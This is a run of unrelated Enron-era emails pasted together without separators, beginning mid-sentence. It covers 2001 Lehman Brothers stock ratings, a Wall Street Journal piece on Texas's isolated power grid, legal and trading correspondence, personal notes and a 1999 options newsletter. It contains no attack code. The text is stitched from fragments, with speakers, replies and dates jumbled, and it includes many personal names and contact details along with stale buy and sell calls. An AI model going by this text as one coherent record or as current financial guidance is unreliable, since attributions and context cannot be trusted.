visibility, we remain comfortable with EDS and our 2-
Buy rating.

COMPANY/INDUSTRY UPDATES

Integrated Oil P. Cheng, .212.526.1884
Weekly U.S. Crude Oil & Refined Products Inventory Summary
*Absent any new major refinery or pipeline accidents, we expect gasoline
futures to drop to below $0.80 per gallon within the next
several weeks. In addition, gasoline inventories should continue to build on
average by about 0.5-1.0 million barrels per week over
the next two months due to strong domestic output and weak demand. We
continue to recommend an underweight position in the
independent refiners group.

Paper & Forest Products P. Ruschmeier, .212.526.9898
IRS Revenue Ruling Supports Bullish Timber Thesis
*As we indicated yesterday (6/5/01), IRS revenue ruling 2001-29 has positive
implications for the pending merger between PCL and
TGP and positive implications for a structural shift in timber ownership
from C-Corps to REITs over time. We are reiterating our
favorable ratings on companies with the greatest timberland exposure
including WY, LPX, TIN, BCC, IP, BOW, & TGP.
*Yesterday (6/5/01) we learned that the IRS reversed a 1973 revenue ruling
that prevents REITs from engaging in the active conduct
of a trade or business.
*We believe the ruling is an important first step in paving the way for
timber-rich companies to transition ownership of timber cash
flow from a C-corp. structure to a tax-advantaged REIT structure.
*We believe the ruling supports a favorable outcome to the PCL/TGP merger.

Internet Healthcare R. Rouse, .212.526.7347
MORE CRO UPSIDE - THE BIOTECHS ARE COMING !!!
*The CROs are poised to take advantage of two significant trends that we
pose are underway: 1. the much anticipated "biotech bulge"
may be upon us sooner than expected (a long-term catalyst); and 2. this is
in addition to our previous call for efficiency gains and
margin upside given a return to normalized late-stage trial volume (a
near-term catalyst).
*Proprietary pipeline analysis and industry anecdotes lead us to the
proposition that the beginning of a wave of novel drugs is entering
clinical development. This creates bottlenecks for drug sponsors and
opportunities for service vendors. Diversified CROs (CVD,
PPDI, & QTRN) and niche providers (AAII & ARRY) could reap benefits as early
as this year while those more clinically focused
(KNDL & PRXL) could see upside by the end of next year.

Insurance/Life E. Berg, .212.526.2805
Estate Tax Reform: With New Focus Any Damage Will Be Minor
*An effort by us to quantify the impact on life insurers of the change in
the Federal estate-tax law passed last week by Congress is
leading us to affirm our 1-Strong Buy ratings on Manulife, Nationwide, and
John Hancock.
*The bottom line to our analysis: While these three life insurers and others
could lose as much as one-third of their existing estate-tax-oriented
policies and growth in new sales of estate-tax-oriented life insurance could
also slow by a third its still not a big deal. The
entire loss, between existing and new policies combined, would translate
only into about a 5 % to 10 % loss of revenues and earnings
companywide because estate planning is only a portion of their business.

Albertson's, Inc(ABS) 3 - Market Perform M. Adler, .212.526.7146
Right-sizing the business is still to come
Price: $27.73 EPS 2001 N/A $2.08 N/A N/A
52 Wk Ra: $38 - 20 EPS 2002 $1.96E $1.93E $2.04E 14.4
Mkt Cap: $11.3B EPS 2003 N/A N/A $2.25E N/A
FY: 1/31 Price Target N/A N/A
Rank 3 3
*ABS is just beginning the arduous process of a turnaround, with a new CEO
that is willing and able to lead. He is evaluating every
aspect of the business, and is prepared to right size the company through
divestitures of profitable assets that have weak long-term
prospects.
*ABS reported 1Q01 EPS of $0.46, $0.01 ahead of our estimates and consensus.
Sales were in line with our estimates, but the
operating margin deteriorated by only 39 bp versus the 60 bp we had
forecast.
*We have lowered our 2Q01 estimate from $0.47 to $0.45, and our FY02
estimates from $1.96 to $1.93.
*With our new lower estimate, ABS' stock is trading at a 2001 P/E 14.4x, a
mere 1.5 multiple point discount to KR, which we rate a 1-
Strong Buy ($24.78). We think this gap is too narrow given the differences
in earnings outlook and asset quality, so we are
maintaining our 3-Market Perform rating

David C. Morris
Sr. VP Lehman Brothers
713-652-7112/800-227-4537
dcmorris@lehman.com

Disclosure Legend: A-Lehman Brothers Inc. managed or co-managed within the
past three years a public offering of securities for this company. B-An
employee of Lehman Brothers Inc. is a director of this company. C-Lehman
Brothers Inc. makes a market in the securities of this company. G-The
Lehman Brothers analyst who covers this company also has position in its
securities.
Key to Investment Rankings: This is a guide to expected total return (price
performance plus dividend) relative to the total return of the stock's local
market over the next 12 months. 1 = Strong Buy (expected to outperform the
market by 15 or more percentage points); 2=Buy (expected to outperform
the market by 5-15 percentage points); 3=Market Perform (expected to perform
in line with the market, plus or minus 5 percentage points); 4=Market
Underperform (expected to underperform the market by 5-15 percentage
points); 5=Sell (expected to underperform the market by 15 or more
percentage
points).
This document is for information purposes only. We do not represent that
this information is complete or accurate. All opinions are subject to
change.
The securities mentioned may not be eligible for sale in some states or
countries. This document has been prepared by Lehman Brothers Inc., Member
SIPC, on behalf of Lehman Brothers International (Europe), which is
regulated by the SFA. ?Lehman Brothers, Inc.

This message is intended only for the personal and confidential use of the designated recipient(s) named above.  If you are not the intended recipient of this message you are hereby notified that any review, dissemination, distribution or copying of this message is strictly prohibited.  This communication is for information purposes only and should not be regarded as an offer to sell or as a solicitation of an offer to buy any financial product, an official confirmation of any transaction, or as an official statement of Lehman Brothers.  Email transmission cannot be guaranteed to be secure or error-free.  Therefore, we do not represent that this information is complete or accurate and it should not be relied upon as such.  All information is subject to change without notice.

 - MF June 6th 2001.pdf 

Put a check in interoffice mail (EB 4464.)  Where's your personal debt 
trading today?

	Greg Whalley@ECT
	11/28/00 05:17 PM
		 
		 To: Brad Richter/Enron Communications@Enron Communications
		 cc: 
		 Subject: IOU

do you want me to mail a check, or what?

I went by the store on my way home and saw a Pillsbury mix with red and green 
confetti in it - decided that cupcakes would be simpler than cookies.  Since 
it was after 10:00 when I got started on this project, it turned out be a 
good decision.  I would like your recipe so that when we are doing baking for 
the family next week that I can use it.  

"Cindy White" <cwhite@viviance.com> on 12/14/2000 01:01:21 PM
To: "Sally" <sally.beck@enron.com>
cc:  
Subject: cookies

Did you get your cookies made?

Cindy

Attached is the Facility Agreement for Hawaii I marked against the Hawaii II 
Facility Agreement.  Please call Muriel McFarling at (214) 659-4461 when we 
have final sign off and I will e-mail you a clean copy at that time.

Chris Krecek, Secretary/Legal Assistant
1717 Main Street, Suite 3700
Phone: (214) 659-4481
Fax: (214) 659-4401
Email: ckrecek@andrews-kurth.com

CONFIDENTIALITY NOTICE:  The information in this e-mail (including any 
attachments) is confidential, legally privileged and intended only for the 
use of each recipient named above.  If you are not an intended recipient, you 
must not read, use or disseminate this information.  If you have received 
this e-mail in error, please notify the sender immediately by reply e-mail 
and delete this e-mail from your computer.
VIRUS WARNING:  Although this e-mail (including any attachments) is not 
intended to contain any virus or defect that may affect your computer, you 
are responsible for ensuring that no virus or defect exists.  The sender 
disclaims any responsibility for any loss or damages arising from any virus 
or defect associated with this e-mail.

 - 266253.wpd
 - 266253.doc

Attached herewith please find Chairman Bliley's letter to his House Commerce 
Committee members outlining the process and content for full committee 
mark-up upon Congress' return from the July 4th break; the section-by-section 
on transmission plus the actual transmission legislative language are also 
attached.  H.R. 2944 is the underlying bill to which these changes are made.

We have made substantial progress just this week.  We will need to be 
diligent to determine which amendments will be offered in July and to guard 
against those we oppose.  Commerce Committee members are continuing their 
meetings this evening to further plan the upcoming mark-up.

The Senate Reliability bill will likely not be considered until Congress 
reconvenes in July.  Several Democrat Senators have now placed holds.  Under 
the Senate Rules, just one Member can block bill consideration under the hold 
process.  At this point, the hold is process vs. substance.

July will be the most critical month in order for us to realize bill 
enactment this Congress.

How are things in Denver?  I haven't heard from you in a while and I thought 
I would drop you a line.  I have the picture of all of us from that mexican 
food restaurant off of Westheimer under my mouse pad and I was thinking about 
you.

How are the wedding plans going?  Good I hope.  Have you adjusted to the new 
living situation?  It can be tough at first, but as long as you are patient, 
everything works out.  That was probably the most difficult thign for us.  

Have you been keeping up with the Astros?  They look absolutely horrible.  
They blew another 7 run lead last night.  At least the stadium is really 
nice, otherwise I would be very dissappointed that I got tickets.  I hope 
your parents are still enjoying the seats. 

Talk to you soon.
PL

fyi
----- Forwarded by Sara Shackleton/HOU/ECT on 09/26/2000 10:52 AM -----

	John Greene
	09/26/2000 08:51 AM
		 
		 To: Paul Simons/LON/ECT@ECT, Alan Aronowitz/HOU/ECT@ECT
		 cc: Gary Hickerson/HOU/ECT@ECT, Sara Shackleton/HOU/ECT@ECT
		 Subject: Legal Authorization by Country for Enron Equity Trading in Europe

Paul/Alan,

We need to have someone check into the legal issues associated with our 
trading equities in each of the respective countries we are interested in 
trading.  We need to get rulings on shares, futures and options for both 
exchange traded and over the counter activity for each country.  This 
"research" should be performed in much the same way as when we began trading 
in Australia.  Some of the countries involved may have already been "green 
lighted" a few years ago.  The countries we need to look into initially are:

Germany
France
Italy
Norway
Netherlands
Spain
United Kingdom

Once we get feedback on these countries we should continue on to secondary 
countries which include:

Austria
Belgium
Denmark
Ireland
Israel
Sweden
Portugal
Turkey

I will leave up to yourselves to decide where this project should be 
coordinated from but as we are a US coporate and ECT Investments, the 
principal booking entity, is a US entity I would imagine it should be handled 
from the States.  Please let me know if anyone has any questions or would 
like to discuss issues associated with this request. 

Thanks and regards,
John

    Just in case you've only received this 10 times today    May 7, 2001   =
   Texas May Face a Glut of Electricity, But It Won't Help in the Rest of U=
.S. Pride and Policy Make State a Magnet For Power Plants and an Island Unt=
o Itself By ALEXEI BARRIONUEVOand RUSSELL GOLD  Staff Reporters of THE WALL=
 STREET JOURNAL While California struggles to keep its lights on and New Yo=
rk City braces for possible electricity shortages this summer, Texas utilit=
ies could soon face the opposite problem: a power glut.   Texas' wide-open =
spaces and relatively weak zoning and environmental rules have helped make =
the Lone Star state a magnet for power-generation companies as it prepares =
to deregulate its electricity market next year. The result: Texas' electric=
ity-production capacity this summer is expected to exceed its peak power de=
mand by 11,000 megawatts -- nearly enough to light up New York City. By the=
 summer of 2002, the excess may be closer to 15,000 megawatts, enough to po=
wer 15 million homes. And with 27 new generating plants under construction,=
 more than any other state, some power producers fear that overbuilding ult=
imately could send Texas' wholesale electricity prices into a tailspin. A G=
rid Apart All this sounds like good news for the electricity-starved East a=
nd West Coasts -- but it isn't. That's because the U.S. is divided into thr=
ee major power grids -- with the West on one, the East on another and most =
of Texas on a third, with very few links to the rest of the country. In the=
 world of electricity, that makes Texas "an island with a couple of little =
footpaths over to it," says Larry Makovich, senior director for electric po=
wer research at Cambridge Energy Research Associates, a Cambridge, Mass., c=
onsulting firm. Some Texas utility executives argue that their state's isla=
nd status is principally an accident of geography. But no one disputes the =
fact that good old Texas pride -- and a deep-seated skepticism toward feder=
al regulation -- also played a role in shaping the state's grid. So, too, d=
id a renegade utility's desperate 1976 bid to save itself from a corporate =
breakup and the resulting four-year legal battle, which the industry later =
dubbed the "Texas Range War." Texas' isolation isn't expected to end anytim=
e soon. If Texas became fully interconnected, its big utilities say, the st=
ate could become more susceptible to blackouts, if other regions drew off t=
oo much power. "From a reliability standpoint, it would be a degradation to=
 the Texas grid," says Steve Schaeffer, a senior vice president at Reliant =
Energy  Inc., the former Houston Lighting & Power Co. Competing Interests M=
oreover, the utilities estimate that building the transmission lines needed=
 for a full connection to the nation's other grids would take at least thre=
e years and cost Texas ratepayers about $600 million. They don't want to in=
vest that much money to sell power to California or New York to ease what t=
hey view as temporary imbalances. Some in the state also believe low rates =
and excess power could give it an advantage in persuading businesses to loc=
ate there. "America will be shy enough electricity that this will be one of=
 our greatest inducements for growing Texas," says Matthew Simmons, preside=
nt of Houston investment bank Simmons & Co. Texas is an extreme example of =
the haphazard way electricity grids developed in the U.S. Until the 1960s, =
most power plants were built near the customers they served. Then, utilitie=
s began building larger, more-efficient coal and nuclear plants, connecting=
 them with their neighbors to ensure that if one of these big plants went d=
own, there would be a backup ready to keep the power flowing. 'No Big Money=
' But the old-line Texas utilities, which have long benefited from the stat=
e's plentiful supplies of fuels such as natural gas and lignite coal, were =
reluctant to join in this wave of interconnections. Back then, in the mid-t=
o-late 1970s, electricity outside Texas was generally more costly. And surr=
ounding states weren't planning big enough plants to back up the huge new o=
nes Texas was building to power its fast-growing cities and energy-thirsty =
petrochemical industry. "There was no big money to be made by shipping powe=
r one way or the other over the lines," says Reliant's Mr. Schaeffer. By co=
nfining their grid to Texas, state utilities also avoided oversight by the =
Federal Energy Regulatory Commission. Thus, FERC couldn't force Texas to se=
nd power out of state in case of an emergency. The state's dominant utiliti=
es -- Texas Utilities Inc., the Dallas-based predecessor of what is now TXU=
  Corp., and Houston Lighting -- went to great lengths to ensure there were=
 no interstate connections. The switches at a hydroelectric plant on the Te=
xas-Oklahoma border were wired to prevent power from flowing between the st=
ates. Elsewhere along the border, a system of relays was installed to preve=
nt unauthorized interstate transmissions. Only one big utility didn't like =
the setup: Central & South West Corp., a Dallas holding company that owned =
power plants in both Texas and Oklahoma. In 1976, it faced a crisis. If it =
couldn't show that its plants in both states were interconnected, it ran th=
e risk of being broken up under a federal law. The law, which barred holdin=
g companies from owning unconnected utilities in separate states, was decad=
es old. But, until then, it hadn't been strictly enforced. On May 4, 1976 -=
- eight days before the Securities and Exchange Commission was set to consi=
der the matter -- Central & South West took an extraordinary step. At 5:30 =
a.m., it sent one of its line crews to secretly rewire a substation in Vern=
on, Texas, near the Oklahoma border, allowing power to flow freely between =
the two states. For a few hours, the grids were connected by a minuscule th=
read. Later that morning, officials at Central & South West phoned other Te=
xas utilities to tell them the company was engaged in interstate commerce. =
 Texas' other major utilities reacted angrily. "The sons of bitches are try=
ing to steal my lignite!" Texas Utilities Chairman Louis Austin bellowed, a=
ccording to former Texas Public Utility Commissioner George Cowden, who rec=
alls Mr. Austin making the remark during a private meeting between the two =
men. Around noon, Houston Lighting cut its system off from the rest of the =
state's utilities. Texas Utilities followed suit hours later. By day's end,=
 the state's utilities had broken the grid into a half-dozen pieces. That s=
ame day, one of Texas Utilities' chief lawyers, a 6-foot-6 former college-f=
ootball star named J.A. "Tiny" Gooch, dispatched one of his company's crews=
 to disconnect the link Central & South West had made between Vernon and Al=
tus, Okla. "They made it so it was physically impossible to [connect] it ag=
ain," says Mr. Gooch's son, Gordon, then a lawyer representing Houston Ligh=
ting. The elder Mr. Gooch, who died in 1986, is considered the patron saint=
 of Texas' electrical independence.  At an emergency meeting of the utility=
 commission three days later, Mr. Austin of Texas Utilities expressed disgu=
st at the prospect of having to burn Texas lignite and natural gas to satis=
fy "Yankees," according to a transcript. And, he added: "I don't like feder=
al regulations." (Mr. Austin died in 1997.) A wire reputed to have formed p=
art of Central & South West's brief Texas-Oklahoma interconnection later wa=
s cut into pieces, encased in Lucite and given out as paperweights by Dalla=
s law firm Worsham, Forsythe & Woolridge, which represented Texas Utilities=
. Alan Erwin, a state utility commissioner in 1976 who still has the souven=
ir on his desk, used the wiring episode as fodder for a 1979 novel, "The Po=
wer Exchange," in which a winter storm cripples Northeast power production =
and the nation turns to Texas for electricity. Texas refuses to ship the el=
ectricity, fearful that other regions would drain it of "what little cheap =
fuel was left." Ultimately, Texas becomes a scapegoat and ends up seceding =
from the union. Real-Life Compromise In reality, the outcome was less drama=
tic. The grid conflict wound its way through many courtrooms. Central & Sou=
th West -- recently acquired by American Electric Power  Co. of Columbus, O=
hio -- lost almost every round. After about four years, the utilities hashe=
d out a compromise, at the urging of the federal government. Rather than li=
nk the Texas grid to the East, so that electricity could flow freely across=
 state borders through alternating-current cables, they agreed to build two=
 direct-current lines. Operators could control the flow over these bridges,=
 which at peak capacity could carry a mere 820 megawatts. The parties to th=
e deal, which included the federal government, agreed these links wouldn't =
bring the Texas grid under federal jurisdiction. Today, Texas power continu=
es to be regulated in Austin, not Washington. "It's just a Texas thing," sa=
ys Pat Wood III, chairman of the state utility commission and a recent Bush=
 administration nominee to FERC. "We want control of our own destiny." That=
 independent attitude has extended in recent years to Texas' business-frien=
dly approach to deregulating its power industry. Unlike California, with it=
s stringent emissions and zoning rules, Texas has made it quick and easy fo=
r power companies to locate their plants almost anywhere they can find a pl=
ace to hook up to the grid. Last year, Texas completed a major upgrade to a=
lleviate bottlenecks on the grid, and it has six similar projects under way=
. Unlike most other states, it decided to charge grid users a flat rate to =
move power anywhere in the state, so they could put plants in low-cost rura=
l areas, far from their customers. Those policies, as well as projections t=
hat the state's electricity demand would grow by a robust 3.5% a year, set =
off a flurry of power-plant construction, beginning in 1998. Since then, $1=
1 billion worth of power plants have been completed or started in Texas, an=
d more are on the drawing board. By contrast to California's approach to de=
regulation, which largely failed to bring new plants online, Texas' strateg=
y "encouraged an overbuild," says Mr. Makovich, of Cambridge Energy Researc=
h Associates. Consider tiny Seguin in south central Texas, where Constellat=
ion Energy Group  Inc. of Baltimore is building an 800-megawatt gas-powered=
 plant in a former cornfield. Fifteen miles to the west, Texas Independent =
Energy LP of Dallas recently finished a 1,000-megawatt plant. About the sam=
e distance to the north, American National Power, a Houston-based unit of B=
ritain's International Power  PLC, is building a 1,100-megawatt plant. If g=
enerators don't get cold feet, Texas is on track to have a capacity surplus=
 of 9% this summer and 11% by summer 2002, says Cambridge Energy Research A=
ssociates. That's in addition to the 15% surplus that most experts consider=
 an adequate cushion. Some areas of the country, including parts of the Sou=
theast, Upper Midwest, New York City and the West, are struggling with razo=
r-thin capacity margins. After factoring in a similar 15% cushion, the West=
 has an 8% capacity deficit and the Upper Midwest has a 4% deficit. As a re=
sult, while electricity futures prices for summer are running at as much as=
 $400 per megawatt hour in the Northwest and around $100 in the Northeast, =
Texas futures prices are averaging only $72 to $74 per megawatt hour. Calpi=
ne  Corp. of San Jose, Calif., is making the boldest wager that overcapacit=
y and a lack of export possibilities won't sink Texas's wholesale electrici=
ty prices. The company has six plants under construction in the state, two =
of which are expected to come on line next month. And it plans to add an ad=
ditional five plants over the next two years. Altogether, Calpine plans to =
spend about $2.8 billion in the state, its largest investment outside Calif=
ornia. "People from day one probably thought Calpine was crazy," says Darre=
ll Hayslip, a company vice president. "But so far, we are absolutely convin=
ced that this is the right bet." He says Calpine's newer gas-fired plants a=
re 40% more efficient than older plants in the state, a third of which are =
at least 30 years old. Calpine expects that edge to force rivals to retire =
older plants, thus keeping electricity prices from sagging. Duke's Doubts O=
thers aren't so sure. After initially planning new plants in Texas, Duke En=
ergy  Corp. began to worry that the state was getting overbuilt. Last May, =
Duke, of Charlotte, N.C., sold its 80% stake in a plant under construction =
in south Texas to Calpine. "We sized up the market early, and then realized=
 too many followers were doing the same thing," says Jim Donnell, president=
 and CEO of Duke Energy North America. If the electricity situation outside=
 Texas grows too grim and too much supply sinks prices in the state, there =
could be "renewed pressure" for Texas to study interconnection options, say=
s John Stauffacher, vice president for regulatory affairs at Houston-based =
Dynegy  Inc., which has 1,000 megawatts of capacity in Texas. Calpine, for =
one, wouldn't mind sharing Texas power with the East and West. "I would lov=
e to be able to wheel power from Texas to California," says Mr. Hayslip. Bu=
t, so far, the Texas utilities haven't budged in their opposition to export=
s. A few generators are trying to find the best of both worlds. Tenaska Inc=
. of Omaha, Neb., is building plants at the border between the Texas and ea=
stern grids. Though utilities aren't allowed to be connected to both grids =
at once, the plants are designed to allow the company to switch between gri=
ds as demand and prices warrant. In rural Grimes County, about 90 miles out=
side Houston, Tenaska plant manager Frank Carelli boasts that his 830-megaw=
att plant could disconnect from one grid, connect to the other and be back =
at full power within an hour. A similar Tenaska plant is slated to begin op=
erations this month in Rusk County, near the Louisiana border. =09

From: Rebecca.White@ubsw.com [mailto:Rebecca.White@ubsw.com]
Sent: Tuesday, January 22, 2002 4:38 PM
To: Oxley, David; Cash, Michelle; Audrey.Martin@ubsw.com;
Jenai.Lee@ubsw.com; Anthony.Brown@ubsw.com; Jordan.Schiffman@ubsw.com
Cc: Tom.Connolly@ubsw.com
Subject: Employment Offer Authorization

     As we discussed, attached is a suggested memo regarding authorization 
     for the employment offers.
     
     Regards,
     
     Rebecca

q2 traded away 32 watt ex no credit otc  
q3 traded 36 twice for 10 MW
 
John Arnold has a few qquestions about the updates that were/are being made 
to stack manager.  I could not remember from our conversation a few days ago 
if the changes were implemented yet. please could you give myself or John a 
call sometime this morning

Pete 3x7277

John 3x3230

Found the final.  Don't know if it differs from the one distributed yesterday.

Best,
Jeff

Just a brief note to let you know that Jack's mother passed away last night.
Jack will be heading to McCamey, Tx to make final arrangements.  Your
prayers are appreciated.

Kirwin Drouet
Chief Financial Officer

Molecular Electronics Corp.
Pennzoil Place--South Tower
711 Louisiana, Suite 1740

713-223-5800
713-223-5049fax

 - winmail.dat 

Chris,

      I spoke with Rochelle from MCV on Monday morning roughly 9:30am, and she went into her system and verified to me that we did not cut them, that they did receive the 8500mm's that they requested on Sunday March 18th. She assured me that they received all volumes they requested.

Kevin S. Brady

 <<5-10-01.pdf>>

Richard Costigan, III
Chief of Staff
Office of the Assembly Republican Leader
California State Assembly
Phone:(916) 319-2005

 - 5-10-01.pdf

 As a follow-up to the recent Enron Corp. memorandum forming Enron Wholesale 
Services (EWS), effective today, we have reorganized the Wholesale Services 
Legal Department.

 The goals in reorganizing the department are as follows:  (i) align the 
legal department as closely as possible with the business units, (ii) speed 
the flow of legal technology across the business units, and (iii) achieve 
greater efficiency and consistency across the organization.

 To this end, a legal policy group will be formed for EWS Legal, which will 
include Lance Schuler, Enron Americas; Mark Evans, Enron Europe; Mark Taylor, 
Enron Net Works; Alan Aronowitz, Enron Global Markets; Julia Murray, Enron 
Industrial Markets; and Bruce Lundstrom, Enron Global Assets.

 The organization chart for the EWS Legal Department is attached.  More 
comprehensive organization charts will follow for each group.

Mark Frevert and Mark Haedicke

Happy Holidays.  Thought I would share Zach's first picture with Santa.

xoxo
Natalie
From: Mark Lay <mark@layfamily.com>
Cc: Natalie Lay <natalie@layfamily.com>
Sent: Monday, December 11, 2000 8:58 PM
Subject: Zach's First Christmas with Santa

> Tis the season to take pictures.  We think this little guy is kinda cute.
>
>
>
> Mark Lay

 - Picture.jpg

those certainly were the good ole days.  

From: 	Shankman, Jeffrey A.  
Sent:	Wednesday, July 18, 2001 12:32 PM
Subject:	

Do you remember the time when Bo sold us 500 F's before the open?  I was just reminiscing about the good old days.......

Lone Star Pipeline
Lisa McAuliff (Contracts)  Wilma Easter (Scheduling)
phone:  214-875-5224  phone: 214-875-3296
fax: 214-875-5134  fax: 214-875-3810

301 S. Harwood #801N
Dallas, TX 75201

Williams Energy
Jeff Goforth
phone: 918-573-8125
fax: 918-573-1530

PO Box 2848
Tulsa, OK 74101

Cinergy Marketing & Trading (Agent for Apache)
Lisa Hughes
phone: 281-583-6279
fax: 281-583-4353

616 FM 1960 W #800
Houston, TX 77090

(Note:  Cinergy will be moving downtown next month)

White Pine Energy, LLC
Michael Mazowita-Director of Asset Mgmt
phone:  248-442-4823
fax: 248-477-5729
cell: 248-345-4002

19436 Auburndale Street 
Livonia, MI 48152

Cleburne Plant
Mike Gough-Plant Manager Ken Riesz-Operations Supervisor 
phone: 817-641-5041  phone: same 
fax: 817-641-5042

Tenaska IV Texas Partners
831 Sparks Drive
Cleburne, TX 76031

Hi Warren, 

Could you please print these for me?

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/18/2001 10:27 
From: Carlos Sole on 04/17/2001 06:52 PM
To: Lisa Bills/ENRON@enronXgate
cc: Carlos Sole/NA/Enron@Enron, Catherine Clark/ENRON@enronXgate, Herman 
Manis/ENRON@enronXgate, Kay Mann/Corp/Enron@Enron, Roseann 
Engeldorf/ENRON@enronXgate, kweimer@milbank.com, mmckay@velaw.com 

Subject: Re: FW: Turbopark Notices and Documents for Delta Turbine Sale   

To all:

Attached for your review and comment are forms of the initial notice letter, 
assignment and assumption agreement and bill of sale that we intend to 
deliver this Friday for a closing the next Friday on April 27.  In addition, 
please note that Rose and I are still coordinating the preparation of the 
Prepayment Notice as well as the UCC-3s.  Please call or email me with any 
comments or questions that you may have and thank you in advance for your 
attention to this matter.  

Carlos Sole'
Senior Counsel
1400 Smith Street

(713) 345-8191 (phone)
713 646-3393 (fax)

Need to go over reports and set up some sort of control process
Assigned to: CN=Jonathan McKay/OU=CAL/O=ECT
Updated by: CN=Jonathan McKay/OU=CAL/O=ECT

Again,

Please acknowledge receipt of this.  Thank you.

Dear David,

Thanks for your message.  To make our request clearer, for the past two weeks 
we have put out a preliminary DPR every morning at 8 am our time (seen by 
commercial heads, Jeff Skilling, Ken Lay, RAC, anyone with access to the 
DPR).  All groups world-wide are able to provide us preliminary figures by 7 
am our time for:

positions, 
maturity gap,
VAR, and
P&L

This is the information that we would like you to provide as well.

I understand that you have some hurdles to get over to be able to provide us 
these figures, and while you keep working to get over these hurdles, we would 
be happy if you provide us the information you are currently able to (i.e. if 
you can only provide P&L we'd like to start with that, if you can only 
provide us with one commodities information we would like to have that). 
Please remember that the information we are requesting is preliminary 
information.  We would expect that there would be some changes between what 
you give us at 7 am and the final information you give us by 11 am.

Best regards

Shona

David A Wall@ECT
10/27/2000 06:57 AM
To: Shona Wilson/NA/Enron@Enron
cc: James New/LON/ECT@ECT, Chris Abel/HOU/ECT@ECT, Sheila Foo/LON/ECT@ECT, 
Michael Kass/EU/Enron@Enron 

Subject: DPR Summary

Shona,

Just to summarise the main thrust of our discussion yesterday:

Preliminary P/L due @ 1PM Local (7pm Houston)

As I understand, Sally is the sponsor of this project with the goal of 
presenting Skilling with a DPR by 8a.m. the following day.
I have asked all mgmrs to assess how we can achieve this.  We will discuss 
this in meeting early next week. 
A major obstacle that we face, is limited IT resource to re-engineer and 
expedite our processes.  This will require buy in of senior mgmt and 
commercial business heads to reallocate resources away from current projects. 
(James to discuss.)
Additionally, there are certain dependencies on depts in Houston, which are 
prerequisite for DPR completion in London. Notably Continental Power has a 
dependency on Portcalc IT support in Houston.  
Shift work and 16 hour days are more difficult (not impossible) to implement 
in London as the labour market is very tight and such working conditions 
would make Enron very uncompetitive as a prospective employer.  Bear in mind 
that we compete directly with all the big investment houses for the best 
talent.  A decision to use shift's would have to be made at the highest level 
considering the possible implications on the corporate image.  This might 
suggest that additional IT resource is the only feasible way forward.

I could easily say that we can do the preliminary p/l but I assume that we 
wish to retain the qualatitive features of our reporting.  Therefore I have 
tempered my comments to reflect what I believe are real issues that we in 
London will have to address.   We will get back to you with our proposals., 
after we have discussed these issues early next week.

Same day DPR

This is the long term goal and is such a large project that it would have to 
be sponsored at the highest level here in Europe.
James to discuss with Fernley & Mike. 

Regards,

Dave

Hello Dale,

I've added "PJM Interconnect Peak" load shape to the mapping table.

We need to find out which pub code to map for "PJM Interconnection" index 
(there are literally hundreds of pub codes available for PJM).

Kenny H.

Dale Neuner   06/14/2000 08:30 AM

To: Leslie Hansen/HOU/ECT@ECT, Sara Shackleton/HOU/ECT@ECT, Eric 
Saibi/Corp/Enron@ENRON
cc: Kenny Ha/HOU/ECT@ECT, Jennifer deBoisblanc Denny/HOU/ECT@ECT, Torrey 
Moorer/HOU/ECT@ECT, Tara Sweitzer/HOU/ECT@ECT 
Subject: Re: PJM Prices US East Power Swap

Fohot to include the Loadshape; sorry.

Loadshape:   PJM Interconnect Peak
Abb:   Peak
Day Coverage:  .4762
Desc: The transaction is for on-peak ("Peak") hours on each Delivery Day 
beginning with the hour ending 0800 (7:00 am) and concluding with the hour 
ending 2300 (11:00 pm) Eastern Prevailing Time.  'Delivery Day' means a day 
during the term of the transaction that is a Monday, Tuesday, Wednesday, 
Thursday or Friday, excluding any day that is a NERC holiday.

---------------------- Forwarded by Dale Neuner/HOU/ECT on 06/14/2000 08:28 
Dale Neuner   06/14/2000 08:24 AM

Subject: Re: PJM Prices US East Power Swap  

Legal/Commercial:

Here is my suggestion for the PJM Index. I will use a PJM Peak Loadshape that 
mirrors the ISO NE and ISO NY Loadshape.

Kenny; et al:

Please map in TEST and PROD

Index:  PJM Interconnection
Abb:  PJM InterC
Sort Code: 
Desc:  The Floating Price during a Determination Period shall be the average 
of the hourly prices listed in the Index (in final, not estimate, form) for 
electricity delivered during Peak hours on each Delivery Day during the 
applicable Determination Period.  The Floating Price for each Determination 
Period shall be calculated utilizing the hourly clearing prices published by 
PJM Interconnection, LLC on its official web site currently located at 
http://www.pjm.com/pub/account/lmp/index.html, or any successor thereto, 
under the heading "PJM - Locational Marginal Pricing Files"  (the "Index").

Dale
3-9746

Eric Saibi@ENRON
06/13/2000 12:13 PM
To: Dale Neuner/HOU/ECT@ECT
cc:  
Subject: PJM Prices

The appropriate address is ftp://www.pjm.com/pub/account/lmp/index.html

This is the same as going to www.pjm.com, clicking on "Market & System Data", 
and then clicking on "Daily Real Time LMP Data".

Dear Derivatives Week subscriber:

Catch the latest breaking news in this week's issue by clicking 
here: http://www.derivativesweek.com

01/15/99 09:20 AM ---------------------------
   
	From:  xtrials@optioninvestor.com (Option Investor Newsletter     Trials)     
                       01/14/99 09:28 PM
	
Please respond to xtrials@optioninvestor.com
To: Option Investor Newsletter Trials <xtrials@optioninvestor.com>
cc:  (bcc: Mark - ECT Legal Taylor/HOU/ECT)
Subject: Thursday - Option Investor Newsletter 2 of 2

The Option Investor Newsletter         Thursday  1-14-98
Copyright 1998, All rights reserved.
Redistribution in any form strictly prohibited.

PICK NEWS - CALLS (continued)
*******************************************************
AOL  $144.50 -$1.25 (-2.00)  Hmmmmm-AOL flat for the week?
NOT!!  We deliberated whether to keep or drop AOL today,
but decided to keep it.  Read on.  AOL spiked up to close
at $165 earlier this week and has shed $20 in the last 3
trading days since.  Especially noted was the drop of $9
yesterday on 25 million shares (10 million more than
average-not a good sign).  Today though, AOL held up well
in the face of strong down-market forces on lower than
average volume.  It is, after all, the most stable of the
Internet stocks and is not going away.  While AOL feels
comfortable like a family pet, remember it's a trade that's
gone against us, and normally we would get out.  But with
the shaky Brazilian market perhaps drastically affecting
the rest of Latin America, we think the bad news and fear
is already in this stock.  We think of it more like a
rubber band stretched in reverse where the farther it's
stretched back, the harder it will snap forward.  It's
nerve-racking waiting for the bounce, but AOL is a split
candidate over $120 and should give us a great performance
once it snaps.  With a record breaking Christmas and 22,000
new users every day, AOL's earnings should be great.  Look
for the split announcement any day, or at the latest, with
earnings due Feb. 9 per Zack's. (There has been some
confusion on the actual date; Motley Fool board says as
early as Jan. 27.  We'll keep you posted.)  Still an
Internet-guts required.  Play with caution.

